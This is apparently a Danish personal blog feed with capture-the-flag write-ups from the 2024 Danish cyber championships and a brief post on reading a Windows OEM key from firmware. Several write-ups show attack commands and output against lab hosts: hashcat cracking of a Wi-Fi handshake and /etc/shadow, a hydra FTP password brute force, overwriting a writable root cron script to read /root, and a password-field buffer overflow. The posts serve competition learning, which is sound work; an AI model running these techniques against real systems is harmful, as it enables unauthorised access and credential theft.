ddc2024_scoreboard.png

Løste opgaver:

  • Forensics: Dictionary Attack
  • Forensics: Drilske Dæknavne - Email
  • Forensics: Drilske Dæknavne - Address
  • Forensics: Drilske Dæknavne - Leverance-IDer
  • Forensics: Drilske Dæknavne - Meeting
  • Forensics: Friendly Image
  • Forensics: Spin2win
  • Web Exploitation: Critical Hit
  • Misc: Penpals and messages
  • Misc: Find the Culprit
  • Beginner: The_Ransomware_Image
  • Beginner: See my strings
  • Reverse Engineering: ASCII_Maze
  • Cryptography: Substitution in the constitution
  • Boot2Root: Shadow
  • Boot2Root: Cron my tab

Jeg fik løst 16/52 (31%~), hvilket gav mig 3151 points og en 3 plads i Syddanmark.

Forensics: Dictionary Attack

Proposed difficulty: Easy

Antallet af usikre wifi-adgangskoder vil ROCK YOU! Se, om du kan bryde wifi-adgangskoden til dette TP-Link-adgangspunkt. Flaget er adgangskoden.

OBS: Flaget skal wrappes i flag formatet: DDC{adgangskoden}.

Vedhæftet fil: crypto-dictattack.zip

Løsning: Vi får et lille tip om at vi skal bruge rockyou.txt til at cracke koden på et wifi ap. Til dette skal vi lave handshake.cap om til en fil hashcat kan arbjede med, jeg bruger https://hashcat.net/cap2hashcat. Efter det får vi en xxxxxx_<timestamp>.hc22000 som hashcat kan bruge. Kør: hashcat -m 22000 xxxxxx_<timestamp>.hc22000 /usr/share/wordlists/rockyou.txt Resultat: 698e7d4af275d841de9c64f1baafb65b:14ebb6863c97:9aad170ba01a:OpenWrt:dontstealmynameagainyoufreak

Flag: dontstealmynameagainyoufreak

Forensics: Drilske Dæknavne - Email

Proposed difficulty: Medium

I forbindelse med en større sag om import og salg af narkotika, har man beslaglagt en mobiltelefon. Mobiltelefonen er en ældre Samsung S9, og ejes af en (knap så smart) kriminel som går under navnet “Martin Michellin” - et dæknavn, som han så fint sagde under anholdelsen med et dumt smil…

Vi mistænker at han skal aflevere noget stof til en småkriminel gadesælger ved navn “Jens Vejmand”, noget stof som han får importeret snarligt. Vi har brug for at vide:

Hvilken e-mail benyter martin? Den email vil være et flag som DDC{martin@email.dk}.

Vi ved at der bliver benyttet diverse applikationer så som Snapchat, Whatsapp, SMS, opkald og lignende. Kan du undersøge telefonen?

Vedhæftet filer: forensics_drilske-daeknavne.7z(4.2GB) - Ikke uploadet pga. fil-størrelse.

Løsning: Hvis vi bruger find med en grep på hans navn: find | grep "martin" får vi michellinmartin04@gmail.com

Flag: DDC{michellinmartin04@gmail.com}

Forensics: Drilske Dæknavne - Address

Proposed difficulty: Medium

…..

Vi har også brug for at vide hvor Martin planlægger at hente de afhentede stoffer henne. Vi forventer en adresse, således flaget vil være DDC{GadenavnNummer}

…..

Løsning: Hvis vi graver lidt rundt i android filsystemet, eller søger efter .png og .jpg finder vi nogle images, en af dem (./data/system_ce/0/snapshots/28.jpg) er et screenshot af Google Maps med adressen: Svaneknoppen 13

Flag: DDC{Svaneknoppen13}

Forensics: Drilske Dæknavne - Leverance-IDer

Proposed difficulty: Medium

…..

Er der nogle leverance-ID’er, stregekoder eller andet på de stoffer der bliver solgt til Jens? Hvis ja, så er det et flag formateret som “DDC{A12C2-LL902-…..-KDJ82}” i den oplyste rækkefølge.

…..

Løsning: Jeg fandt en smsdatabase (./data/user_de/0/com.android.providers.telephony/databases/mmssms.db) hvor Martin og Jens snakkede om at sms ikke var sikkert, så hvis man tænker sikkert kan vi lede efter Whatsapp. Find Whatsapp message databasen og bruger en SQLite viewer finder vi btw , hvis du skal verificere med tjekkerne , er leveringskoderne pa de 5 poser vasketøj : lkj73 hdh79 vcs13 læd72 sjv4w, Ikke så sikkert når man har filesystem access ;)

Flag: DDC{LKJ73-HDH79-VCS13-LÆD72-SJV4W}

Forensics: Drilske Dæknavne - Meeting

Proposed difficulty: Medium

…..

Er der nogle leverance-ID’er, stregekoder eller andet på de stoffer der bliver solgt til Jens? Hvis ja, så er det et flag formateret som “DDC{A12C2-LL902-…..-KDJ82}” i den oplyste rækkefølge.

…..

Løsning: Hvis vi graver lidt mere rundt i filsystemet, eller søger igen efter .png og .jpg finder vi nogle flere screenshots, en af dem (./data/system_ce/0/snapshots/15.jpg) er et screenshot af en favorit placering??? whatever der står: ///indebar.tårerne.danseren

Flag: DDC{indebar.tårerne.danseren}

Forensics: Friendly Image

Proposed difficulty: Very Easy

“Da du for nylig har lært det grundlæggende inden for undersøgelse af diskbilleder, bad du en mere erfaren ven om at give dig en øvelsesopgave. De leverede en billedfil uden yderligere ledetråde og fortalte dig, at et flag er skjult et sted i den. Find flaget for at løse puslespillet!”

Vedhæftet fil: forensics_friendly_image.zip

Løsning: Efter at have åbnet op zip filen får vi en output.raw og en Friendly.E01. output.raw kan vi mounte på vores linux system og se at der er 4 filer: ini.txt - zebra.77696E6E696E67 - Instructions.txt - 'This is not a pipe.bmp'. Læs Instructions.txt og sorter filerne v. deres navne, og følg resten af beskeden. Nu har vi DDC{keep_on_} men vi mangler noget. Åben Friendly.E01 i Autopsy, her finder vi Instructions2.txt som siger: ...the extension of the third file reverted back from hexadecimal, den sidste fil er zebra.77696E6E696E67, åben en shell og kør: echo -n 77696E6E696E67 | xxd -r -p, ni får vi winning som er sidste del af flaget.

Flag: DDC{keep_on_winning}

Forensics: Spin2win

Proposed difficulty: Easy

Spinner-mand har været ude og spundet internettet ude af kontrol, Vi fandt denne note efterladt på en af hans ofres desktop. Kan du læse den for os?

Vedhæftet fil: Spin2win.zip

Løsning: Med lidt hjælp fra nogle gode øjne og lunapic.com kan vi langsomt finde flaget. Jeg kan læse der står you spin me round baby, men det er ikke alt, vi skal lige skifte nogle bogstaver ud med tal. Lidt trial & error senere får vi o->0, i->1, b->3, a->4, e->3. Kom nogle store bogstaver i hvert ord undtagen me og you, får vi y0u-Sp1n-m3-R1gh1-R0und-34bY.

Flag: DDC{y0u-Sp1n-m3-R1gh1-R0und-34bY}

Web Exploitation: Critical Hit

Proposed difficulty: Very Easy

Din gruppe er meget tæt på at dræbe den sidste boss, men din eneste chance for at lykkes er, hvis Jane slår en 20’er. Hun kan prøve så mange gange, hun vil, men på en eller anden måde virker det umuligt at få en 20’er. Kan du hjælpe hende med at vinde spillet?

http://roll-dice.hkn (haaukins link)

Løsning: Når vi slår med terningen laver vi en post request, men scriptet til terningen sker i vores browser så vi kan bare sige til serveren at vi slog en 20’er. Respons: {"message":"Congrats, you slayed the monster! DDC{U_slaAy_gUrl}"}

Flag: DDC{U_slaAy_gUrl}

Misc: Penpals and messages

Proposed difficulty: Very Easy

Din online penneven Cæsar_4 og dig plejer at udveksle forskellige former for krypterede beskeder. Denne gang modtager du en billedfil fra din penneven. Normalt plejer det at være beskeder du modtager og ikke billedfiler.

Du erindrer dog at der er metoder for at skjule beskeder i JPG format og der findes redskaber på nettet der kan hjælpe med at finde dem. Måske kan din ven Alan Eliasens hjemmeside hjælpe dig med at finde den skjulte besked

OBS: Flaget er teksten du finder med DDC{} tilføjet omkring. Finder du this_1s_fl4g er flaget DDC{this_1s_fl4g}

Vedhæftet fil: penpals.jpg

Løsning: Vi kan bruge stegseek til at se om der ikke skulle være noget gemt i billedet, stegseek penpals.jpg - Output: Original filename: "steganopayload31570.txt". Extracting to "penpals.jpg.out".. penpals.jpg.out: Aipp_hsri_mr_mh_mx, Cæsar 4 lyder som om at vi skal shifte bogstaverne 4 gange, dcode.fr/caesar-cipher -> Well_done_in_id_it

Flag: DDC{Well_done_in_id_it}

Misc: Find the Culprit

Proposed difficulty: Easy

Nogen i dit firma har formået at overflytte en masse penge til dem selv og prøver at stikke af med dem. Det er din opgave som som leder af firmaets Cybersecurity afdeling at finde frem til hvem det var og stoppe dem. Du har en idé om at personen er fra enten Finance, Marketing eller HR afdeling, men hvilken? En af dine medarbejdere fandt en mystisk note på HR afdelingens kontor. Dele af noten er tydeligt krypteret. Mønsteret minder lidt om layoutet på et keyboard. Knæk koden og find frem til hvem der har stjålet pengene! På noten står der således:

“Beløb til overførsel: 100.000.000dkk. Modtager: EYG_Ziokznygxk“

Format for aflevering eksempel: DDC{Adeling_Navn_Kontonummer} | DDC{Cybersecurity_Karsten_Johansen_1234}

Vedhæftet fil: Ansatte.zip

Løsning: Sikkert en smartere løsning men jeg lavede et bash script der tog hash værdien af alle Info.txt og compared dem og smed ud de filer der ikke var ens. Jeg ved ikke helt hvordan jeg skulle dekryptere EYG_Ziokznygxk så jeg smed bare alle navnene ind og det var så Employee (34) fra Finance, det var nemlig Karl Emil!

Flag: DDC{Finance_Karl_Emil_1928}

Beginner: The_Ransomware_Image

Category: Forensics

En amatørhackergruppe har ramt din computer med ransomware! Du efterlod den på en café og glemte at låse skærmen, og da du kom tilbage sad en sketchy person ved den, der skyndte sig væk!

Nu er din computer krypteret, og de kræver en løsesum for at udlevere passwordet! Heldigvis glemte gerningsmanden sin USB i din maskine. Du fandt ikke med det samme noget spændende, men lavede et forensic E01-image, der kan undersøges i dybden. Måske der gemmer sig spændende slettede filer?

Hint: Værktøjet Autopsy er gratis og super fint til diskanalyse.

Vedhæftet fil: USB.E01

Løsning: Åben USB.E01 i Autopsy, her finder vi Reminder.txt og logo.bmp. I Reminder.txt står der at vi ikke skal bruge vores gamle logo fordi det var vores adgangskode, hmm. Lad og lige se på logo.bmp. Aha! CYBER_PIRATES!

Flag: DDC{CYBER_PIRATES}

Beginner: See my strings

Category: Reverse Engineering

Gå til http://see-my-strings.hkn i dit virtuelle miljø!

Løsning: På hjemmesiden får vi download til en zip fil med program i. Hjemmesiden siger vi kan køre strings på program, og fordi flaget står som tekst i programmet kan vi let se det.

Flag: DDC{57r1n6-r3v3r51n6-1s-3a5y}

Reverse Engineering: ASCII_Maze

Proposed difficulty: Easy

OMG! KUN 0.01% KAN GENNEMFØRE DET 4. LEVEL #IKKECLICKBAIT

nc asciimaze.hkn 1337

Vedhæftet fil: reveng_asciimaze.zip

Løsning: Ved unzip af zip-filen finder vi ASCII_Maze, hvis vi åbner den i Dogbolt - Decompiler Explorer, kan vi se at der er nogle levels: 1,2,3 og 4. Jeg spillede spillet for level 1,2,3 og brugte kommandoen godmode til level 4. Password til godmode finder vi i dogbolt (angr -> linje 484), som er: i_believe_i_can_fly så kan vi bryde ud af level 4 og få flag.

Flag: DDC{Flyv_Ikaros_Flyv}

Cryptography: Substitution in the constitution

Proposed difficulty: Easy

Jeg krypterede dele af den danske grundlov med en substitutionsciffer.

Kan du bruge den krypterede forfatning til at finde nøglen og dekryptere flaget?

Vedhæftet fil: crypto-constitution.zip

Løsning: Til den her opgave brugte jeg quipqiup.com til at løse substitutionscifferen. Vi får af vide at det er dele af grundloven, et lille smut over til www.grundloven.dk, her kunne jeg matche 27. marts 1953 med 27. pnlse 1953. I Clues feltet kan vi skrive: sljfwuhgxhjqxf=tronfølgeloven. Nu får vi YYU{vi_mennesåer_i_åongeriget_danmarå} som flag, erstat å med k og YYU med DDC, så får vi: DDC{vi_mennesker_i_kongeriget_danmark}

Flag: DDC{vi_mennesker_i_kongeriget_danmark}

Boot2Root: Shadow

Proposed difficulty: Very Easy

Jeg har lavet en ssh server sådan at jeg kan dele den med alle! Det er bare så super hyggeligt at dele. Men i må altså gerne lige lade være med at rode rundt. Jeg er ikke helt sikker på at jeg har styr på alle tilladelser endnu.

bug kommandoen ssh user1@shadow.hkn for at komme igang. Koden er start.

Løsning: Navnet på challangen giver det lidt væk, men vi skal have fat i /etc/shadow. Vi kan bruge hashcat til at cracke root’s passwd. Kom root’s passwd hash i hash.txt og kør: hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt. Hashcat siger roots passwd er conga, kør en su root med conga som password. Du finder flaget i /home/root/flag.txt

Flag: DDC{Prot3ct_y0ur_s3cr3ts}

Boot2Root: Cron my tab

Proposed difficulty: Easy

ssh doomguy@crontab.hkn

Password: doomguysEcReTpAsSwOrD

tail -f read.sh.log

Løsning: Når vi logger på boksen får vi afvide at der er et cronjob der kører hvert minut med dette script: /etc/read.sh. Hvis vi kigger på file permissions kan vi se at vi må ikke læse & execute read.sh, men vi må gerne skrive til den. Så her kan vi bruge echo fordi der er ikke nano eller vim på maskinen.

echo '#/bin/bash
ls /root' > /etc/read.sh

Respons: cdff.......flag.txt & hehe.txt

echo '#/bin/bash
cat /root/cdff.......flag.txt' > /etc/read.sh

Respons: DDC{v3ry-funny-cr0n-j0b}

Flag: DDC{v3ry-funny-cr0n-j0b}

]]>Extract your Windows OEM key from BIOS using Linuxhttps://ha1fdan.xyz/en/posts/retrive_win_oem_key/Sun, 17 Mar 2024 14:23:38 +0100https://ha1fdan.xyz/en/posts/retrive_win_oem_key/<p>If you&rsquo;re on Linux and need to find your Windows product key stored in the BIOS, follow these straightforward steps.</p> <h2 id="prerequisites">Prerequisites</h2> <ul> <li>Linux system with sudo access</li> <li>Internet connection (optional, for installation)</li> </ul> <h2 id="step-1-install-required-package">Step 1: Install Required Package</h2> <p><code>sudo apt-get install chntpw</code></p> <h2 id="step-3-locate-windows-product-key">Step 3: Locate Windows Product Key</h2> <p><code>strings /sys/firmware/acpi/tables/MSDM | tail -1</code></p> <p>Example return: <code>4AC4P-*****-*****-G6G8Q-*****</code></p> <p>If you receive an error message like <code>strings: '/sys/firmware/acpi/tables/MSDM': No such file</code>, it means no OEM key was found in your BIOS.</p>If you’re on Linux and need to find your Windows product key stored in the BIOS, follow these straightforward steps.

Prerequisites

  • Linux system with sudo access
  • Internet connection (optional, for installation)

Step 1: Install Required Package

sudo apt-get install chntpw

Step 3: Locate Windows Product Key

strings /sys/firmware/acpi/tables/MSDM | tail -1

Example return: 4AC4P-*****-*****-G6G8Q-*****

If you receive an error message like strings: '/sys/firmware/acpi/tables/MSDM': No such file, it means no OEM key was found in your BIOS.

If a key is displayed, note it down for future use. Otherwise, proceed knowing that no key was found.

That’s it! You’ve successfully retrieved your Windows OEM key from BIOS using Linux. Keep your key safe for any future Windows installations or activations.

]]>DDC - Qualifiers Junior 2024 : Writeupshttps://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2024/Sun, 25 Feb 2024 00:00:00 +0000https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2024/<h2 id="scoreboard">Scoreboard:</h2> <p><img src="https://ha1fdan.xyz/images/ddc2024_scoreboard.png" alt="ddc2024_scoreboard.png"></p> <p><strong>Jeg fik løst ~62% af alle opgaverne.</strong></p> <h2 id="opgaver-løst">Opgaver løst:</h2> <ul> <li>Cryptography: They see me subbin, they hating</li> <li>Cryptography: Affinity</li> <li>Cryptography: Cracking the randomness</li> <li>Forensics: Duck Hans</li> <li>Forensics: CTF platformen</li> <li>Forensics: Spionjagt</li> <li>Forensics: Flag Transfer Protocol</li> <li>Reverse Engineering: Too much fun with rexep 101</li> <li>Reverse Engineering: I C what you did there</li> <li>Web Exploitation: Awesome Javascript</li> <li>Web Exploitation: we-need-more-crypto</li> <li>Binary Exploitation: File overflow</li> <li>Binary Exploitation: Hangry CPU</li> <li>Misc: A Tale of Encodings</li> <li>Misc: Digit Distorter</li> <li>Boot2Root: Campfire Stories</li> <li>What er der flere challenges?: What er der flere challenges? <del>Flag:</del> <code>Via mail :))</code></li> </ul> <h2 id="opgaver-ikke-løst">Opgaver ikke løst:</h2> <ul> <li>Cryptography: poLy1305CG</li> <li>Forensics: Dino den Grusomme</li> <li>Forensics: Irriterende Kollegaer</li> <li>Reverse Engineering: so-much-reversing</li> <li>Web Exploitation: im-blogging-you</li> <li>Web Exploitation: kd-website</li> <li>Web Exploitation: ddc-webshop</li> <li>Binary Exploitation: Flag checker</li> <li>Binary Exploitation: vroom</li> <li>Boot2Root: Hack Swag shop</li> </ul> <hr> <h3 id="cryptography-they-see-me-subbin-they-hating">Cryptography: They see me subbin, they hating</h3> <p><em>Proposed difficulty: Easy</em></p>Scoreboard:

ddc2024_scoreboard.png

Jeg fik løst ~62% af alle opgaverne.

Opgaver løst:

  • Cryptography: They see me subbin, they hating
  • Cryptography: Affinity
  • Cryptography: Cracking the randomness
  • Forensics: Duck Hans
  • Forensics: CTF platformen
  • Forensics: Spionjagt
  • Forensics: Flag Transfer Protocol
  • Reverse Engineering: Too much fun with rexep 101
  • Reverse Engineering: I C what you did there
  • Web Exploitation: Awesome Javascript
  • Web Exploitation: we-need-more-crypto
  • Binary Exploitation: File overflow
  • Binary Exploitation: Hangry CPU
  • Misc: A Tale of Encodings
  • Misc: Digit Distorter
  • Boot2Root: Campfire Stories
  • What er der flere challenges?: What er der flere challenges? Flag: Via mail :))

Opgaver ikke løst:

  • Cryptography: poLy1305CG
  • Forensics: Dino den Grusomme
  • Forensics: Irriterende Kollegaer
  • Reverse Engineering: so-much-reversing
  • Web Exploitation: im-blogging-you
  • Web Exploitation: kd-website
  • Web Exploitation: ddc-webshop
  • Binary Exploitation: Flag checker
  • Binary Exploitation: vroom
  • Boot2Root: Hack Swag shop

Cryptography: They see me subbin, they hating

Proposed difficulty: Easy

Jeg krypterede en masse tilfældige engelske ord med en substitutions-chiffer. Kan du arbejde med nøglen og dekryptere flaget?

Challengen handler om at kigge på fordeling af bogstaver, som kan være lidt irriterende at implementere selv. Men husk der eksistere en del tooling på internettet i forvejen, så hvis i sidder fast prøve at google lidt omkring tooling til substitution ciphers!

Vedhæftet fil: ciphertext.txt

Løsning: Bruger Substitution cipher decoder fra dcode.fr/caesar-cipher.

Flag: DDC{WELCOME_TO_DDC_TWENTY_TWENTY_FOUR_LETS_DO_SOME_CRYPTO}

Cryptography: Affinity

Proposed difficulty: Medium

Et affine cipher krypterer en klartekst x til chiffertekst y ved at beregne y = (ax + b) mod m. Jeg har designet denne sikre krypteringsmekanisme ved hjælp af et affine cipher. Kan du bryde den?

Vedhæftet fil: affinity.zip

Løsning: find_a_b.py - Jeg løb gennem alle mulige værdier af a og b for at finde matchet “0xe9e962ea” for tekststrengen ‘DDC{’ hvor m = 256. Løsningen var a = 135, b = 13. Derefter brugte jeg disse værdier til at dekryptere det krypterede resultat fra output.txt via decrypt_with_a_b.py.

Flag: DDC{cryptography_needs_nonlinearity}

Cryptography: Cracking the randomness

Proposed difficulty: Medium

Tilfældige tal bruges hele tiden! Men hvor tilfældige er de egentlig?

Til denne udfordring kan det være en fordel at søge rundt efter information og værktøjer til at angribe pythons random funktion!

Vedhæftet fil: challenge.zip

Løsning: Vi bruger dette fede lib fra pypi.org/project/extend-mt19937-predictor, scripter: randomness.py og sætter predictor i samme state som da tallene blev genereret 624 gange. Så kan vi få flag.

Flag: DDC{Not_so_random_anymore_mr_randcrack}

Forensics: Duck Hans

Proposed difficulty: Easy

Mens du var på ferie, så blev din favorit and Hans befriet af en anden frihedskæmpene and. Hans blev domesticeret tidligt i sit liv, så du ved at han ikke vil kunne overleve i naturen og er nødt til at få ham tilbage så hurtigt som muligt. Heldigvis lavede den frihedskæmpene and en fejl ved at efterlade dig en note og et billede af stedet hvor Hans blev sat fri. Derudover, så har dit gamle overvågningskamera opfanget noget, men det stoppede med at virke i et minuts tid omkring det tidspunkt hvor den frihedskæmpene and slog til. Du har nu fået fat på netværkets logfiler som er relateret til dit overvågningskamera og du mistænker at det har været udsat for et DDoS(1) angreb.

Kan du finde navnet og IP addressen på den frihedskæmpene and, samt søen hvor Hans blev sat fri?

Aflever flaget i følgende format: DDC{FornavnEfternavn_Sø_IPaddresse}

Fx: DDC{DonnieDuck_Tystrup_000.000.000.00}

Bemærk at det kun er den første del af søens navn som skal afleveres i formatet: “Tystrup” i stedet for “Tystrup Sø”

(1) DDoS: I den her sag er det ikke et Distributed Denial of Service angreb men et Ducking Denial of Service angreb. Forskellen her er at angrebet måske ikke er fuldstændigt distribueret (“Distributed”).

Vedhæftet fil: duck-hans.zip

Løsning: I Network Log.txt kan vi se at ipen: 93.184.216.34 bliver logget 12 gange som den eneste med sådan et højt tal. Ved at åbne properties på WARNING!1!1!!!1.pdf kan vi se at Creator er quarl.quackington@mail.dk: warning.pdf.screenshot.png Det kunne jo være at Hans_Is_Free.jpg havde noget exif data, exifmeta.com kan vise os det under: Composite:GPSPosition. Kordinaterne viser Damhussøen.

Flag: DDC{QuarlQuackington_Damhus_93.184.216.34}

Forensics: CTF platformen

Proposed difficulty: Very Easy

Jeg har fundet nogle underlige logs fra en CTF platform der har været med til BlackHat Europe. Det ser dog ud til, at den skriver nogle af flagene ud i loggen. Kan du finde et til denne opgave?

Vedhæftet fil: hknd.log

Løsning: Ved at bruge CTRL+F til at søge i filen efter “DDC{” finder vi flaget på Ln 143 og Col 196.

Flag: DDC{CTRL+F-can-be-used-for-flags}

Forensics: Spionjagt

Proposed difficulty: Very Easy

Velkommen til “Spionjagt”! Din mission er at afsløre en spion, der har infiltreret et dansk CTF-hold og stjålet følsomme data. Se om du kan identificere de stjålne oplysninger ved at kigge i netværks trafikken.

Vedhæftet fil: spionjagt.pcap

Løsning: Åben spionjagt.pcap i Wireshark og soter efter protocol: FTP-DATA, kan vi se en fil ved navn “secretreview.txt”, åben dataen og brug ctrl+f til at søge efter DDC{, så får vi flag.

Løsning 2: strings spionjagt.pcap | grep "DDC{", passer meget godt til Very Easy :)

Flag: DDC{fa4fb1ed-3124-4702-bb28-a29f57a7cc4a}

Forensics: Flag Transfer Protocol

Proposed difficulty: Very Easy

Haaukins info: Browser: https://api.haaukins.com/api/?challenges=flagtransferprotocol VPN: https://ddc.haaukins.dk Secret: …..

Er der mon en “admin” der har en port åben for at overføre filer? Og har han mon tænkt over at John lurer i skyggerne?

Løsning:

$ ip a - find dit subnet
$ nmap -sV -F 77.93.229.4/24
$ cp /usr/share/wordlists/john.lst .
$ hydra -l admin -P john.lst ftp://77.93.229.111 -s 21
[21][ftp] host: 77.93.229.111   login: admin   password: phantom
1 of 1 target successfully completed, 1 valid password found

$ ftp admin@77.93.229.111

Connected to 77.93.229.111.
220 pyftpdlib 1.5.9 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||21009|).
125 Data connection already open. Transfer starting.
-rw-rw-rw-   1 root     root       221251 Feb 19 13:06 flag.jpg
-rw-rw-rw-   1 root     root       111879 Feb 19 13:06 flag.png
-rw-rw-rw-   1 root     root           34 Feb 19 13:06 flag.txt
226 Transfer complete.
ftp> get flag.txt -
remote: flag.txt
229 Entering extended passive mode (|||21014|).
125 Data connection already open. Transfer starting.
DDC{Keeping-track-of-all-my-flags}226 Transfer complete.
34 bytes received in 00:00 (125.29 KiB/s)
ftp> bye
221 Goodbye.

Flag: DDC{Keeping-track-of-all-my-flags}

Reverse Engineering: Too much fun with rexep 101

Proposed difficulty: Medium

I’m having fun with regular expressions. Here I played a bit with features like capture groups, lookahead and look behind.

/(?=^(.{4}([2-8CFGLNPRUXY\-]+).)$)(?=^([^5]*)$)(?=DDC\{)(?=.*4LLY)(?=.*C4)(?=.{4}(?<RE>..).{13}(?:\k<RE>))(?=.*P\d)(?=^.{4}[23GPRX]{7}-)(?=^([^3]*3){4}[^3]*$)(?=^.{5}(?<D>\d).{1}(?:\k<D>).{9}(?:\k<D>).{2}(?:\k<D>))(?=.*-(?!=4)([4CN]{3})(?<!\d)-)(?=^[^\-]{11}(?<=2)-[^\-]{3}(?<=N)-83-[34LRY]{6}-FUN)(?=.+R.G.X)(?=.*(?<=N)}$)(?=.*(?<=R)3){2}(?=.*(-..N)){2}^.{30}$/gm

Can you find a string that matches?

Løsning: Vi deler den lange regex streng op i flere små dele og bruger hjemmesiden regex101.com til at hjælpe os med at finde de rigtige chars for at udtrykket er validt. Meget tidskrævende!

Flag: DDC{R3G3XP2-C4N-83-R34LLY-FUN}

Reverse Engineering: I C what you did there

Proposed difficulty: Easy

Haaukins info: Browser: https://api.haaukins.com/api/?challenges=icwhatyoudidthere VPN: https://ddc.haaukins.dk Secret: …..

En eller anden går rundt og vil spille det der spil med kopper hvor man skal gætte hvor bolden er henne. Der er dog ingen der har besejret ham endnu. Kan du vinde spillet?

Du kan begynde spillet at ved bruge kommandoen “nc shuffler.hkn 1337”

Vedhæftet fil: source

Løsning: Vi kan bruge en decompiler ex. Ghidra til at finde hex værdier til vores input streng. Hvis vi læser bag fra kan vi se der står TheCupsGoRo…….ndInCircles, de 7 punktummer er noget der ikke passer på resten men hvis vi erstatter dem med 1234567 kan vi få programmet til at vise os hvad der skal stå der og i hvilken rækkefølge. Se nedenfor for fremgangsmåde.

selcriCnIdn1234567oRoGspuCehT

TheCupsGoRound&RoundInCircles

selcriCnIdnuund&RooRoGspuCehT

halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdn1234567oRoGspuCehT

TheCupsGoRo2345671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdn1u34567oRoGspuCehT

TheCupsGoRou345671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdn1un4567oRoGspuCehT

TheCupsGoRoun45671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdn1und567oRoGspuCehT

TheCupsGoRound5671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdn1und&67oRoGspuCehT

TheCupsGoRound&671ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdn1und&R7oRoGspuCehT

TheCupsGoRound&R71ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdn1und&RooRoGspuCehT

TheCupsGoRound&Ro1ndInCirclesIncorrect input
halfdan@desktop:~/Downloads$ ./shuffler 
selcriCnIdnuund&RooRoGspuCehT

TheCupsGoRound&RoundInCirclesDDC{this_is_not_the_flag}

$ nc shuffler.hkn 1337
__      __       .__                               
/  \    /  \ ____ |  |   ____  ____   _____   ____  
\   \/\/   // __ \|  | _/ ___\/  _ \ /     \_/ __ \ 
 \        /\  ___/|  |_\  \__(  <_> )  Y Y  \  ___/ 
  \__/\__/  \___ > ____/\___/ \____/|__|_|  /\___ >

.____           __           ___.                 .__        
|    |    _____/  |_  ______ \_ |__   ____   ____ |__| ____  
|    |  _/ __ \   __\/  ___/  | __ \_/ __ \ / ___\|  |/    \ 
|    |__\  ___/|  |  \___ \   | \_\ \  ___// /_/  >  |   |  \ 
|_______ \___  >__| /____  >  |___  /\___  >___  /|__|___|  /
        \/   \/          \/       \/     \/_____/         \/ 
   __  __                                                      
  / /_/ /_  ___     _______  ______     ____ _____ _____ ___  ___ 
 / __/ __ \/ _ \   / ___/ / / / __ \   / __  / __  / __  __ \/ _ \ 
/ /_/ / / /  __/  / /__/ /_/ / /_/ /  / /_/ / /_/ / / / / / /  __/
\__/_/ /_/\___/   \___/\__ _/  ___/   \__  /\__ _/_/ /_/ /_/\___/ 
                           /_/       /____/
Give me an input: 
selcriCnIdnuund&RooRoGspuCehT

TheCupsGoRound&RoundInCirclesDDC{K33p_my_3y3s_0n_th3_priz3}

Flag: DDC{K33p_my_3y3s_0n_th3_priz3}

Web Exploitation: Awesome Javascript

Proposed difficulty: Very Easy

Haaukins info: Browser: https://api.haaukins.com/api/?challenges=awesomejavascript VPN: https://ddc.haaukins.dk Secret: …..

I dag er JavaScript afgørende for hjemmesider! Find en fed JS-funktion på http://awesome-js.hkn!

Løsning: http://awesome-js.hkn/main.js har dette:

function flag(){
    return 'Here is your mighty reward: ' + atob('RERDe2wwbjNseS1qNHY0NWNyMXA3LWZ1bmM3MTBufQ');
}

Åben dev console i firefox og kør function flag(), som giver: “Here is your mighty reward: DDC{l0n3ly-j4v45cr1p7-func710n}”

Flag: DDC{l0n3ly-j4v45cr1p7-func710n}

Web Exploitation: we-need-more-crypto

Proposed difficulty: Medium

Haaukins info: Browser: https://api.haaukins.com/api/?challenges=we-need-more-crypto VPN: https://ddc.haaukins.dk Secret: …..

Cryptocurrency er i øjeblikket det mest populære, og derfor er det vigtigt med endnu en platform, hvor du som bruger kan handle og foretage betalinger med din cryptocurrency! Hos CryptoFlex er vi dybt involveret i kryptovalutaer og ønsker derfor at præsentere innovative måder at håndtere handel og brug af kryptovalutaer på i dag. Vores nye hjemmeside er under udvikling, men er allerede tilgængelig online! Tag et kig på cryptoflex.hkn!

Løsning: http://cryptoflex.hkn/robots.txt viser os at vi ikke burde gå til /images/new_images og kildekoden på http://cryptoflex.hkn/ har et image udkommenteret -> <!-- <img src="*********/wallet-img.jpg" width="18px" alt="" /> -->. cryptoflex.hkn/images/new_images/wallet-img.jpg -> har et billede med flag på.

Flag: DDC{c0mm3nted_c0de_c4n_st1LL_b3_se3N}

Binary Exploitation: File overflow

Proposed difficulty: Easy

Haaukins info: Browser: https://api.haaukins.com/api/?challenges=fileoverflow VPN: https://ddc.haaukins.dk Secret: …..

Tillykke med dit nye job her hos LS pension. Vi er glade for at du har valgt at starte her. For at du kan komme i gang skal du ind i vores filsystem. Her kan du finde de filer du skal bruge. SSH ind i vores system på FileSystem.hkn. Dit brugernavn er employe1 og din adgangskode er 321. Men pas på at du ikke får filsystemet til at flyde over.

ssh employe1@filesystem.hkn

Løsning: Når vi logger på systemet via ssh kan vi se en src/File_acces_system.c og en ./File_acces_system , i .c filen kan vi se at der bliver assigned en maks værdi til user’s password,

typedef struct user {
    char username[32];
    char password[32];
    int access_level;
} user;

ved at ændre vores password til noget mere end 32 lang kan vi snyde systemet og få et højere access level ->

Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
3
Enter new password: 0123456789012345678901234567890133 3\0\0                          
Password changed successfully!

Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
Enter new password: Password changed successfully!

Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
1
Your access level is: 13107
contagt admin to get higher access level

Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit
4
Since you are the boss you can get the balance of any account
